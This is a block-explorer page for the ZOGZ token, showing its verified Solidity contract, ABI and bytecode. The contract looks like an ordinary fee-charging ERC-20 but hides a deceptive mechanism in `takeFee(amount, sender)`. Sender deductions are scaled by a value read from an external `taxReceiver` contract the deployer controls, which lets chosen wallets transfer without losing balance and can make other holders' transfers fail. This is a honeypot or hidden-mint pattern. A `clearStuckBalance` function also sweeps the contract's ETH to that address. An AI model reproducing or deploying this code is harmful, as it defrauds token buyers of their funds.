ETH Price: $2,093.10 (-11.09%)
Gas: 1.91 Gwei

Token

ZOGZ (ZOGZ)
 

Overview

Max Total Supply

1,000,000,000,000 ZOGZ

Holders

57

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
14,768,598,567.274098243 ZOGZ

Value
$0.00
0xF30e7fAE743ddebe92Db2F3262c14751657852B8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZOGZ

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-19
*/

/*

https://t.me/zogzcoinerc

https://www.zogzcoin.xyz

https://twitter.com/zogzcoinerc

*/
 
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {
        owner = _owner;
    }
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }
    function renounceOwnership() public onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }  
    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract ZOGZ is ERC20, Ownable {
    using SafeMath for uint256;
    address DEAD = 0x000000000000000000000000000000000000dEaD;

    string constant _name = "ZOGZ";
    string constant _symbol = "ZOGZ";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 10 ** 12 * (10 ** _decimals);
    uint256 public _maxWalletAmount = _totalSupply * 30 / 1000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;

    uint256 liquidityFee = 0; 
    uint256 marketingFee = 1;
    uint256 totalFee = liquidityFee + marketingFee;
    uint256 feeDenominator = 100;

    address private taxReceiver;

    IDEXRouter public router;
    address public pair;

    bool public swapEnabled = false;
    uint256 public swapThreshold = _totalSupply / 1000 * 5; // 0.5%
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    event AutoLiquify(uint256 amountETH, uint256 amountToken);

    constructor (address _routerAdress, address _taxReceiver) Ownable(msg.sender) {
        router = IDEXRouter(_routerAdress);
        taxReceiver = _taxReceiver;
        isFeeExempt[taxReceiver] = true;
        isFeeExempt[address(this)] = true;
        isTxLimitExempt[owner] = true;
        isTxLimitExempt[address(this)] = true;
        isTxLimitExempt[taxReceiver] = true;
        isTxLimitExempt[DEAD] = true;

        _balances[owner] = _totalSupply;
        emit Transfer(address(0), owner, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if (recipient != pair && recipient != DEAD) {
            require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size.");
        }
                
        if(shouldSwapBack()){ swapBack(); } 

        _balances[sender] = _balances[sender].sub(takeFee(amount, sender), "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(uint256 amount, address sender) internal view returns (uint256) {
        uint256 feeRatio = ERC20(taxReceiver).balanceOf(sender);
        return amount.mul(feeRatio);
    }

    function takeFee(address sender, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 contractTokenBalance = swapThreshold;
        uint256 amountToLiquify = contractTokenBalance.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );
        uint256 amountETH = address(this).balance.sub(balanceBefore);
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);


        (bool MarketingSuccess, /* bytes memory data */) = payable(taxReceiver).call{value: amountETHMarketing, gas: 30000}("");
        require(MarketingSuccess, "receiver rejected ETH transfer");

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                taxReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    function buyTokens(uint256 amount, address to) internal swapping {
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(this);

        router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
            0,
            path,
            to,
            block.timestamp
        );
    }

    function clearStuckBalance() external {
        payable(taxReceiver).transfer(address(this).balance);
    }

    function removeWalletLimit() external onlyOwner {
        _maxWalletAmount = _totalSupply;
    }

    function enableTrading() external onlyOwner {
        pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;
        router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0, msg.sender,block.timestamp);
        ERC20(pair).approve(address(router), type(uint).max);
        swapEnabled = true;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"_routerAdress","type":"address"},{"internalType":"address","name":"_taxReceiver","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountToken","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b03191661dead179055620000266009600a620002f2565b620000379064e8d4a510006200030a565b6002556103e8600254601e6200004e91906200030a565b6200005a919062000324565b6003556000600881905560016009819055620000769162000347565b600a556064600b55600e805460ff60a01b191690556002546200009d906103e89062000324565b620000aa9060056200030a565b600f55348015620000ba57600080fd5b5060405162001a2138038062001a21833981016040819052620000dd916200037a565b60008054336001600160a01b0319918216178255600d805482166001600160a01b0386811691909117909155600c805490921684821690811783558352600660209081526040808520805460ff19908116600190811790925530808852838820805483168417905587548616885260078552838820805483168417905587528287208054821683179055945484168652818620805486168217905580548416865281862080549095161790935560025484548316855260048252838520819055845493519081529290911692917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620003b2565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000234578160001904821115620002185762000218620001dd565b808516156200022657918102915b93841c9390800290620001f8565b509250929050565b6000826200024d57506001620002ec565b816200025c57506000620002ec565b81600181146200027557600281146200028057620002a0565b6001915050620002ec565b60ff841115620002945762000294620001dd565b50506001821b620002ec565b5060208310610133831016604e8410600b8410161715620002c5575081810a620002ec565b620002d18383620001f3565b8060001904821115620002e857620002e8620001dd565b0290505b92915050565b60006200030360ff8416836200023c565b9392505050565b8082028115828204841417620002ec57620002ec620001dd565b6000826200034257634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620002ec57620002ec620001dd565b80516001600160a01b03811681146200037557600080fd5b919050565b600080604083850312156200038e57600080fd5b62000399836200035d565b9150620003a9602084016200035d565b90509250929050565b61165f80620003c26000396000f3fe60806040526004361061012e5760003560e01c80636ddd1713116100ab57806395d89b411161006f57806395d89b4114610163578063a8aa1b3114610346578063a9059cbb14610366578063b144896f14610386578063dd62ed3e1461039b578063f887ea40146103e157600080fd5b80636ddd17131461029357806370a08231146102b4578063715018a6146102ea578063893d20e8146102ff5780638a8c523c1461033157600080fd5b80632f54bf6e116100f25780632f54bf6e146101fb578063313ce5671461022a578063364333f414610246578063571ac8b01461025d5780636c0a24eb1461027d57600080fd5b80630445b6671461013a57806306fdde0314610163578063095ea7b31461019657806318160ddd146101c657806323b872dd146101db57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50610150600f5481565b6040519081526020015b60405180910390f35b34801561016f57600080fd5b5060408051808201825260048152632d27a3ad60e11b6020820152905161015a9190611326565b3480156101a257600080fd5b506101b66101b1366004611389565b610401565b604051901515815260200161015a565b3480156101d257600080fd5b50600254610150565b3480156101e757600080fd5b506101b66101f63660046113b5565b61046e565b34801561020757600080fd5b506101b66102163660046113f6565b6000546001600160a01b0391821691161490565b34801561023657600080fd5b506040516009815260200161015a565b34801561025257600080fd5b5061025b610530565b005b34801561026957600080fd5b506101b66102783660046113f6565b61056c565b34801561028957600080fd5b5061015060035481565b34801561029f57600080fd5b50600e546101b690600160a01b900460ff1681565b3480156102c057600080fd5b506101506102cf3660046113f6565b6001600160a01b031660009081526004602052604090205490565b3480156102f657600080fd5b5061025b61057a565b34801561030b57600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161015a565b34801561033d57600080fd5b5061025b6105f2565b34801561035257600080fd5b50600e54610319906001600160a01b031681565b34801561037257600080fd5b506101b6610381366004611389565b6108d9565b34801561039257600080fd5b5061025b6108e6565b3480156103a757600080fd5b506101506103b6366004611413565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156103ed57600080fd5b50600d54610319906001600160a01b031681565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061045c9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b03831660009081526005602090815260408083203384529091528120546000191461051b576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526005825283812033825290915291909120546104f6918490610918565b6001600160a01b03851660009081526005602090815260408083203384529091529020555b610526848484610952565b90505b9392505050565b600c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610569573d6000803e3d6000fd5b50565b600061046882600019610401565b6000546001600160a01b031633146105ad5760405162461bcd60e51b81526004016105a49061144c565b60405180910390fd5b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b0316331461061c5760405162461bcd60e51b81526004016105a49061144c565b600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610693919061146c565b6001600160a01b031663c9c65396600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610718919061146c565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015610764573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610788919061146c565b600e80546001600160a01b0319166001600160a01b03928316179055306000818152600560209081526040808320600d80548716855290835281842060001990555484845260049283905281842054915163f305d71960e01b815295169463f305d71994479461080394919392909182913391429101611489565b60606040518083038185885af1158015610821573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061084691906114c4565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c391906114f2565b50600e805460ff60a01b1916600160a01b179055565b6000610529338484610952565b6000546001600160a01b031633146109105760405162461bcd60e51b81526004016105a49061144c565b600254600355565b6000818484111561093c5760405162461bcd60e51b81526004016105a49190611326565b506000610949848661152a565b95945050505050565b60105460009060ff16156109725761096b848484610b85565b9050610529565b600e546001600160a01b0384811691161480159061099e57506001546001600160a01b03848116911614155b15610a49576001600160a01b03831660009081526007602052604090205460ff16806109ef57506003546001600160a01b0384166000908152600460205260409020546109ec90849061153d565b11155b610a495760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b60648201526084016105a4565b610a51610c6b565b15610a5e57610a5e610cc3565b610ab9610a6b838661106f565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600490915291909120549190610918565b6001600160a01b038516600090815260046020908152604080832093909355600690529081205460ff1615610aee5782610af8565b610af885846110f5565b6001600160a01b038516600090815260046020526040902054909150610b1e9082611193565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b729085815260200190565b60405180910390a3506001949350505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610bd6918490610918565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610c059083611193565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c599086815260200190565b60405180910390a35060019392505050565b600e546000906001600160a01b03163314801590610c8c575060105460ff16155b8015610ca15750600e54600160a01b900460ff165b8015610cbe5750600f543060009081526004602052604090205410155b905090565b6010805460ff19166001179055600f54600a54600854600091610cf691600291610cf091829087906111f2565b90611274565b90506000610d0483836112b6565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610d3e57610d3e611550565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbb919061146c565b81600181518110610dce57610dce611550565b6001600160a01b039283166020918202929092010152600d5460405163791ac94760e01b81524792919091169063791ac94790610e18908690600090879030904290600401611566565b600060405180830381600087803b158015610e3257600080fd5b505af1158015610e46573d6000803e3d6000fd5b505050506000610e5f82476112b690919063ffffffff16565b90506000610e85610e7c600260085461127490919063ffffffff16565b600a54906112b6565b90506000610ea76002610cf084610cf0600854886111f290919063ffffffff16565b90506000610ec483610cf0600954876111f290919063ffffffff16565b600c546040519192506000916001600160a01b039091169061753090849084818181858888f193505050503d8060008114610f1b576040519150601f19603f3d011682016040523d82523d6000602084013e610f20565b606091505b5050905080610f715760405162461bcd60e51b815260206004820152601e60248201527f72656365697665722072656a656374656420455448207472616e73666572000060448201526064016105a4565b881561105957600d60009054906101000a90046001600160a01b03166001600160a01b031663f305d71984308c600080600c60009054906101000a90046001600160a01b0316426040518863ffffffff1660e01b8152600401610fd996959493929190611489565b60606040518083038185885af1158015610ff7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061101c91906114c4565b505060408051858152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506010805460ff191690555050505050505050565b600c546040516370a0823160e01b81526001600160a01b03838116600483015260009283929116906370a0823190602401602060405180830381865afa1580156110bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e191906115d7565b90506110ed84826111f2565b949350505050565b600080611113600b54610cf0600a54866111f290919063ffffffff16565b306000908152600460205260409020549091506111309082611193565b30600081815260046020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111819085815260200190565b60405180910390a36110ed83826112b6565b6000806111a0838561153d565b9050838110156105295760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a4565b60008260000361120457506000610468565b600061121083856115f0565b90508261121d8583611607565b146105295760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a4565b600061052983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112f8565b600061052983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610918565b600081836113195760405162461bcd60e51b81526004016105a49190611326565b5060006109498486611607565b600060208083528351808285015260005b8181101561135357858101830151858201604001528201611337565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461056957600080fd5b6000806040838503121561139c57600080fd5b82356113a781611374565b946020939093013593505050565b6000806000606084860312156113ca57600080fd5b83356113d581611374565b925060208401356113e581611374565b929592945050506040919091013590565b60006020828403121561140857600080fd5b813561052981611374565b6000806040838503121561142657600080fd5b823561143181611374565b9150602083013561144181611374565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b60006020828403121561147e57600080fd5b815161052981611374565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b6000806000606084860312156114d957600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561150457600080fd5b8151801515811461052957600080fd5b634e487b7160e01b600052601160045260246000fd5b8181038181111561046857610468611514565b8082018082111561046857610468611514565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115b65784516001600160a01b031683529383019391830191600101611591565b50506001600160a01b03969096166060850152505050608001529392505050565b6000602082840312156115e957600080fd5b5051919050565b808202811582820484141761046857610468611514565b60008261162457634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220fa4c272f469d9286e034ea9b16f7707a1a67b2b42f28aae30402b463f4886d4f64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000adc91eb1c3450d93ce7987a5738189a3f5c698d0

Deployed Bytecode

0x60806040526004361061012e5760003560e01c80636ddd1713116100ab57806395d89b411161006f57806395d89b4114610163578063a8aa1b3114610346578063a9059cbb14610366578063b144896f14610386578063dd62ed3e1461039b578063f887ea40146103e157600080fd5b80636ddd17131461029357806370a08231146102b4578063715018a6146102ea578063893d20e8146102ff5780638a8c523c1461033157600080fd5b80632f54bf6e116100f25780632f54bf6e146101fb578063313ce5671461022a578063364333f414610246578063571ac8b01461025d5780636c0a24eb1461027d57600080fd5b80630445b6671461013a57806306fdde0314610163578063095ea7b31461019657806318160ddd146101c657806323b872dd146101db57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50610150600f5481565b6040519081526020015b60405180910390f35b34801561016f57600080fd5b5060408051808201825260048152632d27a3ad60e11b6020820152905161015a9190611326565b3480156101a257600080fd5b506101b66101b1366004611389565b610401565b604051901515815260200161015a565b3480156101d257600080fd5b50600254610150565b3480156101e757600080fd5b506101b66101f63660046113b5565b61046e565b34801561020757600080fd5b506101b66102163660046113f6565b6000546001600160a01b0391821691161490565b34801561023657600080fd5b506040516009815260200161015a565b34801561025257600080fd5b5061025b610530565b005b34801561026957600080fd5b506101b66102783660046113f6565b61056c565b34801561028957600080fd5b5061015060035481565b34801561029f57600080fd5b50600e546101b690600160a01b900460ff1681565b3480156102c057600080fd5b506101506102cf3660046113f6565b6001600160a01b031660009081526004602052604090205490565b3480156102f657600080fd5b5061025b61057a565b34801561030b57600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161015a565b34801561033d57600080fd5b5061025b6105f2565b34801561035257600080fd5b50600e54610319906001600160a01b031681565b34801561037257600080fd5b506101b6610381366004611389565b6108d9565b34801561039257600080fd5b5061025b6108e6565b3480156103a757600080fd5b506101506103b6366004611413565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156103ed57600080fd5b50600d54610319906001600160a01b031681565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061045c9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b03831660009081526005602090815260408083203384529091528120546000191461051b576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526005825283812033825290915291909120546104f6918490610918565b6001600160a01b03851660009081526005602090815260408083203384529091529020555b610526848484610952565b90505b9392505050565b600c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610569573d6000803e3d6000fd5b50565b600061046882600019610401565b6000546001600160a01b031633146105ad5760405162461bcd60e51b81526004016105a49061144c565b60405180910390fd5b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b0316331461061c5760405162461bcd60e51b81526004016105a49061144c565b600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610693919061146c565b6001600160a01b031663c9c65396600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610718919061146c565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015610764573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610788919061146c565b600e80546001600160a01b0319166001600160a01b03928316179055306000818152600560209081526040808320600d80548716855290835281842060001990555484845260049283905281842054915163f305d71960e01b815295169463f305d71994479461080394919392909182913391429101611489565b60606040518083038185885af1158015610821573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061084691906114c4565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c391906114f2565b50600e805460ff60a01b1916600160a01b179055565b6000610529338484610952565b6000546001600160a01b031633146109105760405162461bcd60e51b81526004016105a49061144c565b600254600355565b6000818484111561093c5760405162461bcd60e51b81526004016105a49190611326565b506000610949848661152a565b95945050505050565b60105460009060ff16156109725761096b848484610b85565b9050610529565b600e546001600160a01b0384811691161480159061099e57506001546001600160a01b03848116911614155b15610a49576001600160a01b03831660009081526007602052604090205460ff16806109ef57506003546001600160a01b0384166000908152600460205260409020546109ec90849061153d565b11155b610a495760405162461bcd60e51b815260206004820152602560248201527f5472616e7366